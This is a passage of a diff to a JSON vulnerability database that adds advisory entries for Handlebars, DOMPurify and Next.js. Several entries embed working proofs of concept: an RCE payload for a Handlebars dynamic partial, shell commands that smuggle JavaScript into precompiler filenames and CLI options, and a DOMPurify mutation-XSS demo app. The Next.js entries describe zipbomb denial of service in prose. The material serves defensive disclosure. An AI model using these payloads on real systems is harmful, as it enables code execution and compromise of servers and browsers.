a plain object. The function returns the crafted object as-is.\n\n**`invokePartial()`:** When `resolvePartial` returns a non-function object, `invokePartial` produces `undefined`. The runtime interprets `undefined` as \"partial not yet compiled\" and calls `env.compile(partial, ...)` where `partial` is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.\n\n**Minimum prerequisites:**\n1. The template uses a dynamic partial lookup: `{{> (lookup . \"key\")}}` or equivalent.\n2. The adversary can set the value of the looked-up context property to a crafted object.\n\nIn server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\nconst vulnerableTemplate = `{{> (lookup . \"payload\")}}`;\n\nconst maliciousContext = {\n payload: {\n call: true, // bypasses the primary resolvePartial branch\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Injected code breaks out of the generated function's argument list\n depth: \"0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: object -> dynamic partial -> RCE\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). Without `compile()`, the fallback compilation path in `invokePartial` is unreachable.\n- **Sanitize context data** before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.\n- **Avoid dynamic partial lookups** (`{{> (lookup ...)}}`) when context data is user-controlled.", + "githubID": "GHSA-xhpv-hc6g-r9c6", + "CVE": [ + "CVE-2026-33940" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-116", + "CWE-79", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += 'templates[\"' + template.name + '\"] = template(...)';\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `'];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var Handlebars = require(\"' + opts.commonjs + '\");';\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define(['\" + opts.handlebarPath + \"handlebars.runtime'], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `'` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf 'Hello' > \"templates/evil'] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e 'require(\"./out.js\")' # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -n \"App.ns; require('fs').writeFileSync('pwned2','1'); //\"\nnode -e 'require(\"./out.js\")'\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -c 'handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //'\nnode -e 'require(\"./out.js\")'\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n -h \"'); require('fs').writeFileSync('pwned4','1'); // \"\nnode -e 'require(\"./out.js\")'\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated build pipeline.", + "githubID": "GHSA-xjpj-3mr7-gcpf", + "CVE": [ + "CVE-2026-33941" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.6.0", + "below": "4.7.9", + "severity": "medium", + "cwe": [ + "CWE-1321" + ], + "identifiers": { + "summary": "## Summary\n\nThe prototype method blocklist in `lib/handlebars/internal/proto-access.js` blocks `constructor`, `__defineGetter__`, `__defineSetter__`, and `__lookupGetter__`, but omits the symmetric `__lookupSetter__`. This omission is only exploitable when the non-default runtime option `allowProtoMethodsByDefault: true` is explicitly set — in that configuration `__lookupSetter__` becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.\n\n`4.6.0` is the version that introduced `protoAccessControl` and the `allowProtoMethodsByDefault` runtime option.\n\n## Description\n\nIn `lib/handlebars/internal/proto-access.js`:\n\n```javascript\nconst methodWhiteList = Object.create(null);\nmethodWhiteList['constructor'] = false;\nmethodWhiteList['__defineGetter__'] = false;\nmethodWhiteList['__defineSetter__'] = false;\nmethodWhiteList['__lookupGetter__'] = false;\n// __lookupSetter__ intentionally blocked in CVE-2021-23383,\n// but omitted here — creating an asymmetric blocklist\n```\n\nAll four legacy accessor helpers (`__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__`) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; `__lookupSetter__` was left out.\n\nWhen `allowProtoMethodsByDefault: true` is set, any prototype method **not present** in `methodWhiteList` is permitted by default. Because `__lookupSetter__` is absent from the list, it passes the `checkWhiteList` check and is accessible in templates, while `__lookupGetter__` (its sibling) is correctly denied.\n\n## Workarounds\n\n- Do **not** set `allowProtoMethodsByDefault: true`. The default configuration is not affected.\n- If `allowProtoMethodsByDefault` must be enabled, ensure templates do not reference `__lookupSetter__` through untrusted input.", + "githubID": "GHSA-7rx3-28cr-v5wh" + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-7rx3-28cr-v5wh", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] } ], "extractors": { @@ -5230,6 +5389,22 @@ "https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safeforxml" ] }, + { + "atOrAbove": "0", + "below": "3.3.2", + "severity": "medium", + "cwe": [ + "CWE-79" + ], + "identifiers": { + "summary": "## Description\n\nA mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).\n\n\n## Vulnerability\n\nThe root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, ` ... ` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (``) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).\n\n## PoC\n\n1. Start the PoC app:\n```bash\nnpm install\nnpm start\n```\n\n2. Open `http://localhost:3001`.\n3. Set `Wrapper en sink` to `xmp`.\n4. Use payload:\n```html\n \"</xmp\">\n```\n\n5. Click `Sanitize + Render`.\n6. Observe:\n- `Sanitized response` still contains the `` sequence inside `alt`.\n- The sink reparses to include ``.\n- `alert('expoc')` is triggered.\n7. Files:\n- index.html\n\n```html\n\n\n \n \n \n expoc - DOMPurify SSR PoC\n \n \n \n
\n

expoc - DOMPurify Server-Side PoC

\n

\n Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.\n

\n\n
\n
\n \n \n
\n
\n \n \n
\n
\n \n
\n
\n

Se usa render vulnerable: sink.innerHTML = '<wrapper>' + sanitized + '</wrapper>'.

\n
\n
script (vulnerable)
\n
xmp (vulnerable)
\n
iframe (vulnerable)
\n
noembed (vulnerable)
\n
noframes (vulnerable)
\n
noscript (vulnerable)
\n
div (no vulnerable)
\n
textarea (no vulnerable)
\n
title (no vulnerable)
\n
style (no vulnerable)
\n
\n
\n\n
\n \n
(empty)
\n
\n\n
\n \n
\n
\n
\n
\n\n \n \n\n```\n\n- server.js\n\n```js\nconst express = require('express');\nconst path = require('path');\nconst { JSDOM } = require('jsdom');\nconst createDOMPurify = require('dompurify');\n\nconst app = express();\nconst port = process.env.PORT || 3001;\n\nconst window = new JSDOM('').window;\nconst DOMPurify = createDOMPurify(window);\n\napp.use(express.json());\napp.use(express.static(path.join(__dirname, 'public')));\n\napp.get('/health', (_req, res) => {\n res.json({ ok: true, service: 'expoc' });\n});\n\napp.post('/sanitize', (req, res) => {\n const input = typeof req.body?.input === 'string' ? req.body.input : '';\n const sanitized = DOMPurify.sanitize(input);\n res.json({ sanitized });\n});\n\napp.listen(port, () => {\n console.log(`expoc running at http://localhost:${port}`);\n});\n```\n\n- package.json\n\n```json\n{\n \"name\": \"expoc\",\n \"version\": \"1.0.0\",\n \"main\": \"server.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\",\n \"start\": \"node server.js\",\n \"dev\": \"node server.js\"\n },\n \"keywords\": [],\n \"author\": \"\",\n \"license\": \"ISC\",\n \"description\": \"\",\n \"dependencies\": {\n \"dompurify\": \"^3.3.1\",\n \"express\": \"^5.2.1\",\n \"jsdom\": \"^28.1.0\"\n }\n}\n```\n\n## Evidence\n\n- PoC\n\n[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)\n\n- XSS triggered\n\"daft-img\"\n\n## Why This Happens\nThis is a mutation-XSS pattern caused by a parse-context mismatch:\n\n- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.\n- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).\n- Attacker-controlled sequence (``) gains structural meaning in parse 2 and alters DOM structure.\n\nSanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.\n\n## Remediation Guidance\n1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.\n2. Keep the rendering context stable from sanitize to sink.\n3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.\n4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).\n5. Add regression tests for context-switch/mXSS payloads (including ``, ``, similar parser-breakout markers).\n\nReported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.\n\nFollowing Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft\n\nAcknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).", + "githubID": "GHSA-h8r8-wccr-v5f2" + }, + "info": [ + "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2", + "https://github.com/cure53/DOMPurify/releases/tag/3.3.2" + ] + }, { "atOrAbove": "3.1.3", "below": "3.3.2", @@ -9435,6 +9610,26 @@ "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] }, + { + "atOrAbove": "10.0.0", + "below": "15.5.14", + "severity": "medium", + "cwe": [ + "CWE-400" + ], + "identifiers": { + "summary": "## Summary\nThe default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth.\n\n## Impact\nAn attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service.\n\n## Patches\nFixed by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. \n\n## Workarounds\nIf upgrade is not immediately possible:\n- Periodically clean `.next/cache/images`.\n- Reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`)", + "githubID": "GHSA-3x4c-7xq6-9pq8", + "CVE": [ + "CVE-2026-27980" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-3x4c-7xq6-9pq8", + "https://github.com/vercel/next.js/commit/39eb8e0ac498b48855a0430fbf4c22276a73b4bd", + "https://github.com/vercel/next.js/releases/tag/v16.1.7" + ] + }, { "atOrAbove": "15.6.0-canary.0", "below": "15.6.0-canary.59", @@ -9515,6 +9710,27 @@ "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" ] }, + { + "atOrAbove": "15.6.0-canary.0", + "below": "15.6.0-canary.61", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, { "atOrAbove": "15.6.0-canary.0", "below": "15.6.0-canary.61", @@ -9766,6 +9982,26 @@ "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] }, + { + "atOrAbove": "16.0.0-beta.0", + "below": "16.1.7", + "severity": "medium", + "cwe": [ + "CWE-400" + ], + "identifiers": { + "summary": "## Summary\nThe default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth.\n\n## Impact\nAn attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service.\n\n## Patches\nFixed by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. \n\n## Workarounds\nIf upgrade is not immediately possible:\n- Periodically clean `.next/cache/images`.\n- Reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`)", + "githubID": "GHSA-3x4c-7xq6-9pq8", + "CVE": [ + "CVE-2026-27980" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-3x4c-7xq6-9pq8", + "https://github.com/vercel/next.js/commit/39eb8e0ac498b48855a0430fbf4c22276a73b4bd", + "https://github.com/vercel/next.js/releases/tag/v16.1.7" + ] + }, { "atOrAbove": "16.0.0-beta.0", "below": "16.1.7", @@ -9846,6 +10082,300 @@ "https://github.com/vercel/next.js/commit/a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8", "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] + }, + { + "atOrAbove": "15.0.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.3-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.4-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.1.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + 